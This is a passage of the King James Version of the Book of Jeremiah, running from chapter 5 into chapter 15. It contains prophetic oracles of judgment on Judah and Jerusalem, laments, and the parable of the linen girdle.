though they roar, yet can +they not pass over it? 5:23 But this people hath a revolting and a +rebellious heart; they are revolted and gone. + +5:24 Neither say they in their heart, Let us now fear the LORD our +God, that giveth rain, both the former and the latter, in his season: +he reserveth unto us the appointed weeks of the harvest. + +5:25 Your iniquities have turned away these things, and your sins have +withholden good things from you. + +5:26 For among my people are found wicked men: they lay wait, as he +that setteth snares; they set a trap, they catch men. + +5:27 As a cage is full of birds, so are their houses full of deceit: +therefore they are become great, and waxen rich. + +5:28 They are waxen fat, they shine: yea, they overpass the deeds of +the wicked: they judge not the cause, the cause of the fatherless, yet +they prosper; and the right of the needy do they not judge. + +5:29 Shall I not visit for these things? saith the LORD: shall not my +soul be avenged on such a nation as this? 5:30 A wonderful and +horrible thing is committed in the land; 5:31 The prophets prophesy +falsely, and the priests bear rule by their means; and my people love +to have it so: and what will ye do in the end thereof? 6:1 O ye +children of Benjamin, gather yourselves to flee out of the midst of +Jerusalem, and blow the trumpet in Tekoa, and set up a sign of fire in +Bethhaccerem: for evil appeareth out of the north, and great +destruction. + +6:2 I have likened the daughter of Zion to a comely and delicate +woman. + +6:3 The shepherds with their flocks shall come unto her; they shall +pitch their tents against her round about; they shall feed every one +in his place. + +6:4 Prepare ye war against her; arise, and let us go up at noon. Woe +unto us! for the day goeth away, for the shadows of the evening are +stretched out. + +6:5 Arise, and let us go by night, and let us destroy her palaces. + +6:6 For thus hath the LORD of hosts said, Hew ye down trees, and cast +a mount against Jerusalem: this is the city to be visited; she is +wholly oppression in the midst of her. + +6:7 As a fountain casteth out her waters, so she casteth out her +wickedness: violence and spoil is heard in her; before me continually +is grief and wounds. + +6:8 Be thou instructed, O Jerusalem, lest my soul depart from thee; +lest I make thee desolate, a land not inhabited. + +6:9 Thus saith the LORD of hosts, They shall throughly glean the +remnant of Israel as a vine: turn back thine hand as a grapegatherer +into the baskets. + +6:10 To whom shall I speak, and give warning, that they may hear? +behold, their ear is uncircumcised, and they cannot hearken: behold, +the word of the LORD is unto them a reproach; they have no delight in +it. + +6:11 Therefore I am full of the fury of the LORD; I am weary with +holding in: I will pour it out upon the children abroad, and upon the +assembly of young men together: for even the husband with the wife +shall be taken, the aged with him that is full of days. + +6:12 And their houses shall be turned unto others, with their fields +and wives together: for I will stretch out my hand upon the +inhabitants of the land, saith the LORD. + +6:13 For from the least of them even unto the greatest of them every +one is given to covetousness; and from the prophet even unto the +priest every one dealeth falsely. + +6:14 They have healed also the hurt of the daughter of my people +slightly, saying, Peace, peace; when there is no peace. + +6:15 Were they ashamed when they had committed abomination? nay, they +were not at all ashamed, neither could they blush: therefore they +shall fall among them that fall: at the time that I visit them they +shall be cast down, saith the LORD. + +6:16 Thus saith the LORD, Stand ye in the ways, and see, and ask for +the old paths, where is the good way, and walk therein, and ye shall +find rest for your souls. But they said, We will not walk therein. + +6:17 Also I set watchmen over you, saying, Hearken to the sound of the +trumpet. But they said, We will not hearken. + +6:18 Therefore hear, ye nations, and know, O congregation, what is +among them. + +6:19 Hear, O earth: behold, I will bring evil upon this people, even +the fruit of their thoughts, because they have not hearkened unto my +words, nor to my law, but rejected it. + +6:20 To what purpose cometh there to me incense from Sheba, and the +sweet cane from a far country? your burnt offerings are not +acceptable, nor your sacrifices sweet unto me. + +6:21 Therefore thus saith the LORD, Behold, I will lay stumblingblocks +before this people, and the fathers and the sons together shall fall +upon them; the neighbour and his friend shall perish. + +6:22 Thus saith the LORD, Behold, a people cometh from the north +country, and a great nation shall be raised from the sides of the +earth. + +6:23 They shall lay hold on bow and spear; they are cruel, and have no +mercy; their voice roareth like the sea; and they ride upon horses, +set in array as men for war against thee, O daughter of Zion. + +6:24 We have heard the fame thereof: our hands wax feeble: anguish +hath taken hold of us, and pain, as of a woman in travail. + +6:25 Go not forth into the field, nor walk by the way; for the sword +of the enemy and fear is on every side. + +6:26 O daughter of my people, gird thee with sackcloth, and wallow +thyself in ashes: make thee mourning, as for an only son, most bitter +lamentation: for the spoiler shall suddenly come upon us. + +6:27 I have set thee for a tower and a fortress among my people, that +thou mayest know and try their way. + +6:28 They are all grievous revolters, walking with slanders: they are +brass and iron; they are all corrupters. + +6:29 The bellows are burned, the lead is consumed of the fire; the +founder melteth in vain: for the wicked are not plucked away. + +6:30 Reprobate silver shall men call them, because the LORD hath +rejected them. + +7:1 The word that came to Jeremiah from the LORD, saying, 7:2 Stand in +the gate of the LORD's house, and proclaim there this word, and say, +Hear the word of the LORD, all ye of Judah, that enter in at these +gates to worship the LORD. + +7:3 Thus saith the LORD of hosts, the God of Israel, Amend your ways +and your doings, and I will cause you to dwell in this place. + +7:4 Trust ye not in lying words, saying, The temple of the LORD, The +temple of the LORD, The temple of the LORD, are these. + +7:5 For if ye throughly amend your ways and your doings; if ye +throughly execute judgment between a man and his neighbour; 7:6 If ye +oppress not the stranger, the fatherless, and the widow, and shed not +innocent blood in this place, neither walk after other gods to your +hurt: 7:7 Then will I cause you to dwell in this place, in the land +that I gave to your fathers, for ever and ever. + +7:8 Behold, ye trust in lying words, that cannot profit. + +7:9 Will ye steal, murder, and commit adultery, and swear falsely, and +burn incense unto Baal, and walk after other gods whom ye know not; +7:10 And come and stand before me in this house, which is called by my +name, and say, We are delivered to do all these abominations? 7:11 Is +this house, which is called by my name, become a den of robbers in +your eyes? Behold, even I have seen it, saith the LORD. + +7:12 But go ye now unto my place which was in Shiloh, where I set my +name at the first, and see what I did to it for the wickedness of my +people Israel. + +7:13 And now, because ye have done all these works, saith the LORD, +and I spake unto you, rising up early and speaking, but ye heard not; +and I called you, but ye answered not; 7:14 Therefore will I do unto +this house, which is called by my name, wherein ye trust, and unto the +place which I gave to you and to your fathers, as I have done to +Shiloh. + +7:15 And I will cast you out of my sight, as I have cast out all your +brethren, even the whole seed of Ephraim. + +7:16 Therefore pray not thou for this people, neither lift up cry nor +prayer for them, neither make intercession to me: for I will not hear +thee. + +7:17 Seest thou not what they do in the cities of Judah and in the +streets of Jerusalem? 7:18 The children gather wood, and the fathers +kindle the fire, and the women knead their dough, to make cakes to the +queen of heaven, and to pour out drink offerings unto other gods, that +they may provoke me to anger. + +7:19 Do they provoke me to anger? saith the LORD: do they not provoke +themselves to the confusion of their own faces? 7:20 Therefore thus +saith the Lord GOD; Behold, mine anger and my fury shall be poured out +upon this place, upon man, and upon beast, and upon the trees of the +field, and upon the fruit of the ground; and it shall burn, and shall +not be quenched. + +7:21 Thus saith the LORD of hosts, the God of Israel; Put your burnt +offerings unto your sacrifices, and eat flesh. + +7:22 For I spake not unto your fathers, nor commanded them in the day +that I brought them out of the land of Egypt, concerning burnt +offerings or sacrifices: 7:23 But this thing commanded I them, saying, +Obey my voice, and I will be your God, and ye shall be my people: and +walk ye in all the ways that I have commanded you, that it may be well +unto you. + +7:24 But they hearkened not, nor inclined their ear, but walked in the +counsels and in the imagination of their evil heart, and went +backward, and not forward. + +7:25 Since the day that your fathers came forth out of the land of +Egypt unto this day I have even sent unto you all my servants the +prophets, daily rising up early and sending them: 7:26 Yet they +hearkened not unto me, nor inclined their ear, but hardened their +neck: they did worse than their fathers. + +7:27 Therefore thou shalt speak all these words unto them; but they +will not hearken to thee: thou shalt also call unto them; but they +will not answer thee. + +7:28 But thou shalt say unto them, This is a nation that obeyeth not +the voice of the LORD their God, nor receiveth correction: truth is +perished, and is cut off from their mouth. + +7:29 Cut off thine hair, O Jerusalem, and cast it away, and take up a +lamentation on high places; for the LORD hath rejected and forsaken +the generation of his wrath. + +7:30 For the children of Judah have done evil in my sight, saith the +LORD: they have set their abominations in the house which is called by +my name, to pollute it. + +7:31 And they have built the high places of Tophet, which is in the +valley of the son of Hinnom, to burn their sons and their daughters in +the fire; which I commanded them not, neither came it into my heart. + +7:32 Therefore, behold, the days come, saith the LORD, that it shall +no more be called Tophet, nor the valley of the son of Hinnom, but the +valley of slaughter: for they shall bury in Tophet, till there be no +place. + +7:33 And the carcases of this people shall be meat for the fowls of +the heaven, and for the beasts of the earth; and none shall fray them +away. + +7:34 Then will I cause to cease from the cities of Judah, and from the +streets of Jerusalem, the voice of mirth, and the voice of gladness, +the voice of the bridegroom, and the voice of the bride: for the land +shall be desolate. + +8:1 At that time, saith the LORD, they shall bring out the bones of +the kings of Judah, and the bones of his princes, and the bones of the +priests, and the bones of the prophets, and the bones of the +inhabitants of Jerusalem, out of their graves: 8:2 And they shall +spread them before the sun, and the moon, and all the host of heaven, +whom they have loved, and whom they have served, and after whom they +have walked, and whom they have sought, and whom they have worshipped: +they shall not be gathered, nor be buried; they shall be for dung upon +the face of the earth. + +8:3 And death shall be chosen rather than life by all the residue of +them that remain of this evil family, which remain in all the places +whither I have driven them, saith the LORD of hosts. + +8:4 Moreover thou shalt say unto them, Thus saith the LORD; Shall they +fall, and not arise? shall he turn away, and not return? 8:5 Why then +is this people of Jerusalem slidden back by a perpetual backsliding? +they hold fast deceit, they refuse to return. + +8:6 I hearkened and heard, but they spake not aright: no man repented +him of his wickedness, saying, What have I done? every one turned to +his course, as the horse rusheth into the battle. + +8:7 Yea, the stork in the heaven knoweth her appointed times; and the +turtle and the crane and the swallow observe the time of their coming; +but my people know not the judgment of the LORD. + +8:8 How do ye say, We are wise, and the law of the LORD is with us? +Lo, certainly in vain made he it; the pen of the scribes is in vain. + +8:9 The wise men are ashamed, they are dismayed and taken: lo, they +have rejected the word of the LORD; and what wisdom is in them? 8:10 +Therefore will I give their wives unto others, and their fields to +them that shall inherit them: for every one from the least even unto +the greatest is given to covetousness, from the prophet even unto the +priest every one dealeth falsely. + +8:11 For they have healed the hurt of the daughter of my people +slightly, saying, Peace, peace; when there is no peace. + +8:12 Were they ashamed when they had committed abomination? nay, they +were not at all ashamed, neither could they blush: therefore shall +they fall among them that fall: in the time of their visitation they +shall be cast down, saith the LORD. + +8:13 I will surely consume them, saith the LORD: there shall be no +grapes on the vine, nor figs on the fig tree, and the leaf shall fade; +and the things that I have given them shall pass away from them. + +8:14 Why do we sit still? assemble yourselves, and let us enter into +the defenced cities, and let us be silent there: for the LORD our God +hath put us to silence, and given us water of gall to drink, because +we have sinned against the LORD. + +8:15 We looked for peace, but no good came; and for a time of health, +and behold trouble! 8:16 The snorting of his horses was heard from +Dan: the whole land trembled at the sound of the neighing of his +strong ones; for they are come, and have devoured the land, and all +that is in it; the city, and those that dwell therein. + +8:17 For, behold, I will send serpents, cockatrices, among you, which +will not be charmed, and they shall bite you, saith the LORD. + +8:18 When I would comfort myself against sorrow, my heart is faint in +me. + +8:19 Behold the voice of the cry of the daughter of my people because +of them that dwell in a far country: Is not the LORD in Zion? is not +her king in her? Why have they provoked me to anger with their graven +images, and with strange vanities? 8:20 The harvest is past, the +summer is ended, and we are not saved. + +8:21 For the hurt of the daughter of my people am I hurt; I am black; +astonishment hath taken hold on me. + +8:22 Is there no balm in Gilead; is there no physician there? why then +is not the health of the daughter of my people recovered? 9:1 Oh that +my head were waters, and mine eyes a fountain of tears, that I might +weep day and night for the slain of the daughter of my people! 9:2 Oh +that I had in the wilderness a lodging place of wayfaring men; that I +might leave my people, and go from them! for they be all adulterers, +an assembly of treacherous men. + +9:3 And they bend their tongues like their bow for lies: but they are +not valiant for the truth upon the earth; for they proceed from evil +to evil, and they know not me, saith the LORD. + +9:4 Take ye heed every one of his neighbour, and trust ye not in any +brother: for every brother will utterly supplant, and every neighbour +will walk with slanders. + +9:5 And they will deceive every one his neighbour, and will not speak +the truth: they have taught their tongue to speak lies, and weary +themselves to commit iniquity. + +9:6 Thine habitation is in the midst of deceit; through deceit they +refuse to know me, saith the LORD. + +9:7 Therefore thus saith the LORD of hosts, Behold, I will melt them, +and try them; for how shall I do for the daughter of my people? 9:8 +Their tongue is as an arrow shot out; it speaketh deceit: one speaketh +peaceably to his neighbour with his mouth, but in heart he layeth his +wait. + +9:9 Shall I not visit them for these things? saith the LORD: shall not +my soul be avenged on such a nation as this? 9:10 For the mountains +will I take up a weeping and wailing, and for the habitations of the +wilderness a lamentation, because they are burned up, so that none can +pass through them; neither can men hear the voice of the cattle; both +the fowl of the heavens and the beast are fled; they are gone. + +9:11 And I will make Jerusalem heaps, and a den of dragons; and I will +make the cities of Judah desolate, without an inhabitant. + +9:12 Who is the wise man, that may understand this? and who is he to +whom the mouth of the LORD hath spoken, that he may declare it, for +what the land perisheth and is burned up like a wilderness, that none +passeth through? 9:13 And the LORD saith, Because they have forsaken +my law which I set before them, and have not obeyed my voice, neither +walked therein; 9:14 But have walked after the imagination of their +own heart, and after Baalim, which their fathers taught them: 9:15 +Therefore thus saith the LORD of hosts, the God of Israel; Behold, I +will feed them, even this people, with wormwood, and give them water +of gall to drink. + +9:16 I will scatter them also among the heathen, whom neither they nor +their fathers have known: and I will send a sword after them, till I +have consumed them. + +9:17 Thus saith the LORD of hosts, Consider ye, and call for the +mourning women, that they may come; and send for cunning women, that +they may come: 9:18 And let them make haste, and take up a wailing for +us, that our eyes may run down with tears, and our eyelids gush out +with waters. + +9:19 For a voice of wailing is heard out of Zion, How are we spoiled! +we are greatly confounded, because we have forsaken the land, because +our dwellings have cast us out. + +9:20 Yet hear the word of the LORD, O ye women, and let your ear +receive the word of his mouth, and teach your daughters wailing, and +every one her neighbour lamentation. + +9:21 For death is come up into our windows, and is entered into our +palaces, to cut off the children from without, and the young men from +the streets. + +9:22 Speak, Thus saith the LORD, Even the carcases of men shall fall +as dung upon the open field, and as the handful after the harvestman, +and none shall gather them. + +9:23 Thus saith the LORD, Let not the wise man glory in his wisdom, +neither let the mighty man glory in his might, let not the rich man +glory in his riches: 9:24 But let him that glorieth glory in this, +that he understandeth and knoweth me, that I am the LORD which +exercise lovingkindness, judgment, and righteousness, in the earth: +for in these things I delight, saith the LORD. + +9:25 Behold, the days come, saith the LORD, that I will punish all +them which are circumcised with the uncircumcised; 9:26 Egypt, and +Judah, and Edom, and the children of Ammon, and Moab, and all that are +in the utmost corners, that dwell in the wilderness: for all these +nations are uncircumcised, and all the house of Israel are +uncircumcised in the heart. + +10:1 Hear ye the word which the LORD speaketh unto you, O house of +Israel: 10:2 Thus saith the LORD, Learn not the way of the heathen, +and be not dismayed at the signs of heaven; for the heathen are +dismayed at them. + +10:3 For the customs of the people are vain: for one cutteth a tree +out of the forest, the work of the hands of the workman, with the axe. + +10:4 They deck it with silver and with gold; they fasten it with nails +and with hammers, that it move not. + +10:5 They are upright as the palm tree, but speak not: they must needs +be borne, because they cannot go. Be not afraid of them; for they +cannot do evil, neither also is it in them to do good. + +10:6 Forasmuch as there is none like unto thee, O LORD; thou art +great, and thy name is great in might. + +10:7 Who would not fear thee, O King of nations? for to thee doth it +appertain: forasmuch as among all the wise men of the nations, and in +all their kingdoms, there is none like unto thee. + +10:8 But they are altogether brutish and foolish: the stock is a +doctrine of vanities. + +10:9 Silver spread into plates is brought from Tarshish, and gold from +Uphaz, the work of the workman, and of the hands of the founder: blue +and purple is their clothing: they are all the work of cunning men. + +10:10 But the LORD is the true God, he is the living God, and an +everlasting king: at his wrath the earth shall tremble, and the +nations shall not be able to abide his indignation. + +10:11 Thus shall ye say unto them, The gods that have not made the +heavens and the earth, even they shall perish from the earth, and from +under these heavens. + +10:12 He hath made the earth by his power, he hath established the +world by his wisdom, and hath stretched out the heavens by his +discretion. + +10:13 When he uttereth his voice, there is a multitude of waters in +the heavens, and he causeth the vapours to ascend from the ends of the +earth; he maketh lightnings with rain, and bringeth forth the wind out +of his treasures. + +10:14 Every man is brutish in his knowledge: every founder is +confounded by the graven image: for his molten image is falsehood, and +there is no breath in them. + +10:15 They are vanity, and the work of errors: in the time of their +visitation they shall perish. + +10:16 The portion of Jacob is not like them: for he is the former of +all things; and Israel is the rod of his inheritance: The LORD of +hosts is his name. + +10:17 Gather up thy wares out of the land, O inhabitant of the +fortress. + +10:18 For thus saith the LORD, Behold, I will sling out the +inhabitants of the land at this once, and will distress them, that +they may find it so. + +10:19 Woe is me for my hurt! my wound is grievous; but I said, Truly +this is a grief, and I must bear it. + +10:20 My tabernacle is spoiled, and all my cords are broken: my +children are gone forth of me, and they are not: there is none to +stretch forth my tent any more, and to set up my curtains. + +10:21 For the pastors are become brutish, and have not sought the +LORD: therefore they shall not prosper, and all their flocks shall be +scattered. + +10:22 Behold, the noise of the bruit is come, and a great commotion +out of the north country, to make the cities of Judah desolate, and a +den of dragons. + +10:23 O LORD, I know that the way of man is not in himself: it is not +in man that walketh to direct his steps. + +10:24 O LORD, correct me, but with judgment; not in thine anger, lest +thou bring me to nothing. + +10:25 Pour out thy fury upon the heathen that know thee not, and upon +the families that call not on thy name: for they have eaten up Jacob, +and devoured him, and consumed him, and have made his habitation +desolate. + +11:1 The word that came to Jeremiah from the LORD saying, 11:2 Hear ye +the words of this covenant, and speak unto the men of Judah, and to +the inhabitants of Jerusalem; 11:3 And say thou unto them, Thus saith +the LORD God of Israel; Cursed be the man that obeyeth not the words +of this covenant, 11:4 Which I commanded your fathers in the day that +I brought them forth out of the land of Egypt, from the iron furnace, +saying, Obey my voice, and do them, according to all which I command +you: so shall ye be my people, and I will be your God: 11:5 That I may +perform the oath which I have sworn unto your fathers, to give them a +land flowing with milk and honey, as it is this day. Then answered I, +and said, So be it, O LORD. + +11:6 Then the LORD said unto me, Proclaim all these words in the +cities of Judah, and in the streets of Jerusalem, saying, Hear ye the +words of this covenant, and do them. + +11:7 For I earnestly protested unto your fathers in the day that I +brought them up out of the land of Egypt, even unto this day, rising +early and protesting, saying, Obey my voice. + +11:8 Yet they obeyed not, nor inclined their ear, but walked every one +in the imagination of their evil heart: therefore I will bring upon +them all the words of this covenant, which I commanded them to do: but +they did them not. + +11:9 And the LORD said unto me, A conspiracy is found among the men of +Judah, and among the inhabitants of Jerusalem. + +11:10 They are turned back to the iniquities of their forefathers, +which refused to hear my words; and they went after other gods to +serve them: the house of Israel and the house of Judah have broken my +covenant which I made with their fathers. + +11:11 Therefore thus saith the LORD, Behold, I will bring evil upon +them, which they shall not be able to escape; and though they shall +cry unto me, I will not hearken unto them. + +11:12 Then shall the cities of Judah and inhabitants of Jerusalem go, +and cry unto the gods unto whom they offer incense: but they shall not +save them at all in the time of their trouble. + +11:13 For according to the number of thy cities were thy gods, O +Judah; and according to the number of the streets of Jerusalem have ye +set up altars to that shameful thing, even altars to burn incense unto +Baal. + +11:14 Therefore pray not thou for this people, neither lift up a cry +or prayer for them: for I will not hear them in the time that they cry +unto me for their trouble. + +11:15 What hath my beloved to do in mine house, seeing she hath +wrought lewdness with many, and the holy flesh is passed from thee? +when thou doest evil, then thou rejoicest. + +11:16 The LORD called thy name, A green olive tree, fair, and of +goodly fruit: with the noise of a great tumult he hath kindled fire +upon it, and the branches of it are broken. + +11:17 For the LORD of hosts, that planted thee, hath pronounced evil +against thee, for the evil of the house of Israel and of the house of +Judah, which they have done against themselves to provoke me to anger +in offering incense unto Baal. + +11:18 And the LORD hath given me knowledge of it, and I know it: then +thou shewedst me their doings. + +11:19 But I was like a lamb or an ox that is brought to the slaughter; +and I knew not that they had devised devices against me, saying, Let +us destroy the tree with the fruit thereof, and let us cut him off +from the land of the living, that his name may be no more remembered. + +11:20 But, O LORD of hosts, that judgest righteously, that triest the +reins and the heart, let me see thy vengeance on them: for unto thee +have I revealed my cause. + +11:21 Therefore thus saith the LORD of the men of Anathoth, that seek +thy life, saying, Prophesy not in the name of the LORD, that thou die +not by our hand: 11:22 Therefore thus saith the LORD of hosts, Behold, +I will punish them: the young men shall die by the sword; their sons +and their daughters shall die by famine: 11:23 And there shall be no +remnant of them: for I will bring evil upon the men of Anathoth, even +the year of their visitation. + +12:1 Righteous art thou, O LORD, when I plead with thee: yet let me +talk with thee of thy judgments: Wherefore doth the way of the wicked +prosper? wherefore are all they happy that deal very treacherously? +12:2 Thou hast planted them, yea, they have taken root: they grow, +yea, they bring forth fruit: thou art near in their mouth, and far +from their reins. + +12:3 But thou, O LORD, knowest me: thou hast seen me, and tried mine +heart toward thee: pull them out like sheep for the slaughter, and +prepare them for the day of slaughter. + +12:4 How long shall the land mourn, and the herbs of every field +wither, for the wickedness of them that dwell therein? the beasts are +consumed, and the birds; because they said, He shall not see our last +end. + +12:5 If thou hast run with the footmen, and they have wearied thee, +then how canst thou contend with horses? and if in the land of peace, +wherein thou trustedst, they wearied thee, then how wilt thou do in +the swelling of Jordan? 12:6 For even thy brethren, and the house of +thy father, even they have dealt treacherously with thee; yea, they +have called a multitude after thee: believe them not, though they +speak fair words unto thee. + +12:7 I have forsaken mine house, I have left mine heritage; I have +given the dearly beloved of my soul into the hand of her enemies. + +12:8 Mine heritage is unto me as a lion in the forest; it crieth out +against me: therefore have I hated it. + +12:9 Mine heritage is unto me as a speckled bird, the birds round +about are against her; come ye, assemble all the beasts of the field, +come to devour. + +12:10 Many pastors have destroyed my vineyard, they have trodden my +portion under foot, they have made my pleasant portion a desolate +wilderness. + +12:11 They have made it desolate, and being desolate it mourneth unto +me; the whole land is made desolate, because no man layeth it to +heart. + +12:12 The spoilers are come upon all high places through the +wilderness: for the sword of the LORD shall devour from the one end of +the land even to the other end of the land: no flesh shall have peace. + +12:13 They have sown wheat, but shall reap thorns: they have put +themselves to pain, but shall not profit: and they shall be ashamed of +your revenues because of the fierce anger of the LORD. + +12:14 Thus saith the LORD against all mine evil neighbours, that touch +the inheritance which I have caused my people Israel to inherit; +Behold, I will pluck them out of their land, and pluck out the house +of Judah from among them. + +12:15 And it shall come to pass, after that I have plucked them out I +will return, and have compassion on them, and will bring them again, +every man to his heritage, and every man to his land. + +12:16 And it shall come to pass, if they will diligently learn the +ways of my people, to swear by my name, The LORD liveth; as they +taught my people to swear by Baal; then shall they be built in the +midst of my people. + +12:17 But if they will not obey, I will utterly pluck up and destroy +that nation, saith the LORD. + +13:1 Thus saith the LORD unto me, Go and get thee a linen girdle, and +put it upon thy loins, and put it not in water. + +13:2 So I got a girdle according to the word of the LORD, and put it +on my loins. + +13:3 And the word of the LORD came unto me the second time, saying, +13:4 Take the girdle that thou hast got, which is upon thy loins, and +arise, go to Euphrates, and hide it there in a hole of the rock. + +13:5 So I went, and hid it by Euphrates, as the LORD commanded me. + +13:6 And it came to pass after many days, that the LORD said unto me, +Arise, go to Euphrates, and take the girdle from thence, which I +commanded thee to hide there. + +13:7 Then I went to Euphrates, and digged, and took the girdle from +the place where I had hid it: and, behold, the girdle was marred, it +was profitable for nothing. + +13:8 Then the word of the LORD came unto me, saying, 13:9 Thus saith +the LORD, After this manner will I mar the pride of Judah, and the +great pride of Jerusalem. + +13:10 This evil people, which refuse to hear my words, which walk in +the imagination of their heart, and walk after other gods, to serve +them, and to worship them, shall even be as this girdle, which is good +for nothing. + +13:11 For as the girdle cleaveth to the loins of a man, so have I +caused to cleave unto me the whole house of Israel and the whole house +of Judah, saith the LORD; that they might be unto me for a people, and +for a name, and for a praise, and for a glory: but they would not +hear. + +13:12 Therefore thou shalt speak unto them this word; Thus saith the +LORD God of Israel, Every bottle shall be filled with wine: and they +shall say unto thee, Do we not certainly know that every bottle shall +be filled with wine? 13:13 Then shalt thou say unto them, Thus saith +the LORD, Behold, I will fill all the inhabitants of this land, even +the kings that sit upon David's throne, and the priests, and the +prophets, and all the inhabitants of Jerusalem, with drunkenness. + +13:14 And I will dash them one against another, even the fathers and +the sons together, saith the LORD: I will not pity, nor spare, nor +have mercy, but destroy them. + +13:15 Hear ye, and give ear; be not proud: for the LORD hath spoken. + +13:16 Give glory to the LORD your God, before he cause darkness, and +before your feet stumble upon the dark mountains, and, while ye look +for light, he turn it into the shadow of death, and make it gross +darkness. + +13:17 But if ye will not hear it, my soul shall weep in secret places +for your pride; and mine eye shall weep sore, and run down with tears, +because the LORD's flock is carried away captive. + +13:18 Say unto the king and to the queen, Humble yourselves, sit down: +for your principalities shall come down, even the crown of your glory. + +13:19 The cities of the south shall be shut up, and none shall open +them: Judah shall be carried away captive all of it, it shall be +wholly carried away captive. + +13:20 Lift up your eyes, and behold them that come from the north: +where is the flock that was given thee, thy beautiful flock? 13:21 +What wilt thou say when he shall punish thee? for thou hast taught +them to be captains, and as chief over thee: shall not sorrows take +thee, as a woman in travail? 13:22 And if thou say in thine heart, +Wherefore come these things upon me? For the greatness of thine +iniquity are thy skirts discovered, and thy heels made bare. + +13:23 Can the Ethiopian change his skin, or the leopard his spots? +then may ye also do good, that are accustomed to do evil. + +13:24 Therefore will I scatter them as the stubble that passeth away +by the wind of the wilderness. + +13:25 This is thy lot, the portion of thy measures from me, saith the +LORD; because thou hast forgotten me, and trusted in falsehood. + +13:26 Therefore will I discover thy skirts upon thy face, that thy +shame may appear. + +13:27 I have seen thine adulteries, and thy neighings, the lewdness of +thy whoredom, and thine abominations on the hills in the fields. Woe +unto thee, O Jerusalem! wilt thou not be made clean? when shall it +once be? 14:1 The word of the LORD that came to Jeremiah concerning +the dearth. + +14:2 Judah mourneth, and the gates thereof languish; they are black +unto the ground; and the cry of Jerusalem is gone up. + +14:3 And their nobles have sent their little ones to the waters: they +came to the pits, and found no water; they returned with their vessels +empty; they were ashamed and confounded, and covered their heads. + +14:4 Because the ground is chapt, for there was no rain in the earth, +the plowmen were ashamed, they covered their heads. + +14:5 Yea, the hind also calved in the field, and forsook it, because +there was no grass. + +14:6 And the wild asses did stand in the high places, they snuffed up +the wind like dragons; their eyes did fail, because there was no +grass. + +14:7 O LORD, though our iniquities testify against us, do thou it for +thy name's sake: for our backslidings are many; we have sinned against +thee. + +14:8 O the hope of Israel, the saviour thereof in time of trouble, why +shouldest thou be as a stranger in the land, and as a wayfaring man +that turneth aside to tarry for a night? 14:9 Why shouldest thou be +as a man astonied, as a mighty man that cannot save? yet thou, O LORD, +art in the midst of us, and we are called by thy name; leave us not. + +14:10 Thus saith the LORD unto this people, Thus have they loved to +wander, they have not refrained their feet, therefore the LORD doth +not accept them; he will now remember their iniquity, and visit their +sins. + +14:11 Then said the LORD unto me, Pray not for this people for their +good. + +14:12 When they fast, I will not hear their cry; and when they offer +burnt offering and an oblation, I will not accept them: but I will +consume them by the sword, and by the famine, and by the pestilence. + +14:13 Then said I, Ah, Lord GOD! behold, the prophets say unto them, +Ye shall not see the sword, neither shall ye have famine; but I will +give you assured peace in this place. + +14:14 Then the LORD said unto me, The prophets prophesy lies in my +name: I sent them not, neither have I commanded them, neither spake +unto them: they prophesy unto you a false vision and divination, and a +thing of nought, and the deceit of their heart. + +14:15 Therefore thus saith the LORD concerning the prophets that +prophesy in my name, and I sent them not, yet they say, Sword and +famine shall not be in this land; By sword and famine shall those +prophets be consumed. + +14:16 And the people to whom they prophesy shall be cast out in the +streets of Jerusalem because of the famine and the sword; and they +shall have none to bury them, them, their wives, nor their sons, nor +their daughters: for I will pour their wickedness upon them. + +14:17 Therefore thou shalt say this word unto them; Let mine eyes run +down with tears night and day, and let them not cease: for the virgin +daughter of my people is broken with a great breach, with a very +grievous blow. + +14:18 If I go forth into the field, then behold the slain with the +sword! and if I enter into the city, then behold them that are sick +with famine! yea, both the prophet and the priest go about into a +land that they know not. + +14:19 Hast thou utterly rejected Judah? hath thy soul lothed Zion? why +hast thou smitten us, and there is no healing for us? we looked for +peace, and there is no good; and for the time of healing, and behold +trouble! 14:20 We acknowledge, O LORD, our wickedness, and the +iniquity of our fathers: for we have sinned against thee. + +14:21 Do not abhor us, for thy name's sake, do not disgrace the throne +of thy glory: remember, break not thy covenant with us. + +14:22 Are there any among the vanities of the Gentiles that can cause +rain? or can the heavens give showers? art not thou he, O LORD our +God? therefore we will wait upon thee: for thou hast made all these +things. + +15:1 Then said the LORD unto me, Though Moses and Samuel stood before +me, yet my mind could not be toward this people: cast them out of my +sight, and let them go forth. + +15:2 And it shall come to pass, if they say unto thee, Whither shall +we go forth? then thou shalt tell them, Thus saith the LORD; Such as +are for death, to death; and such as are for the sword, to the sword; +and such as are for the famine, to the famine; and such as are for the +captivity, to the captivity. + +15:3 And I will appoint over them four kinds, saith the LORD: the +sword to slay, and the dogs to tear, and the fowls of the heaven, and +the beasts of the earth, to devour and destroy. + +15:4 And I will cause them to be removed into all kingdoms of the +earth, because of Manasseh the son of Hezekiah king of Judah, for that +which he did in Jerusalem. + +15:5 For who shall have pity upon thee, O Jerusalem? or who shall +bemoan thee? or who shall go aside to ask how thou doest? 15:6 Thou +hast forsaken me, saith the LORD, thou art gone backward: therefore +will I stretch out my hand against thee, and destroy thee; I am weary +with repenting. + +15:7 And I will fan them with a fan in the gates of the land; I will +bereave them of children, I will destroy my people since they return +not from their ways. + +15:8 Their widows are increased to me above the sand of the seas: I +have brought upon them against the mother of the young men a spoiler +at noonday: I have caused him to fall upon it suddenly, and terrors +upon the city. + +15:9 She that hath borne seven languisheth: she hath given up the +ghost; her sun is gone down while it was yet day: she hath been +ashamed and confounded: and the residue of them will I deliver to the +sword before their enemies, saith the LORD. + +15:10 Woe is me, my mother, that thou hast borne me a man of strife +and a man of contention to the whole earth! I have neither lent on +usury, nor men have lent to me on usury; yet every one of them doth +curse me. + +15:11 The LORD said, Verily it shall be well with thy remnant; verily +I will cause the enemy to entreat thee well in the time of evil and in +the time of affliction. + +15:12 Shall iron break the northern iron and the steel? 15:13 Thy +substance and thy treasures will I give to the spoil without price, +and that for all thy sins, even in all thy borders. + +15:14 And I will make thee to pass with thine enemies into a land +which thou knowest not: for a fire is kindled in mine anger, which +shall burn upon you. + +15:15 O LORD, thou knowest: remember me, and visit me, and revenge me +of my persecutors; take me not away in thy longsuffering: know that +for thy sake I have suffered rebuke. + +15:16 Thy words were found, and I did eat them; and thy word was unto +me the joy and rejoicing of mine heart: for I am called by thy name, O +LORD God of hosts. + +15:17 I sat not in the assembly of the mockers, nor rejoiced; I sat +alone because of thy hand: for thou hast filled me with indignation. + +15:18 Why is my pain perpetual, and my wound incurable, which refuseth +to be healed? wilt thou be altogether unto me as a liar, and as waters +that fail? 15:19 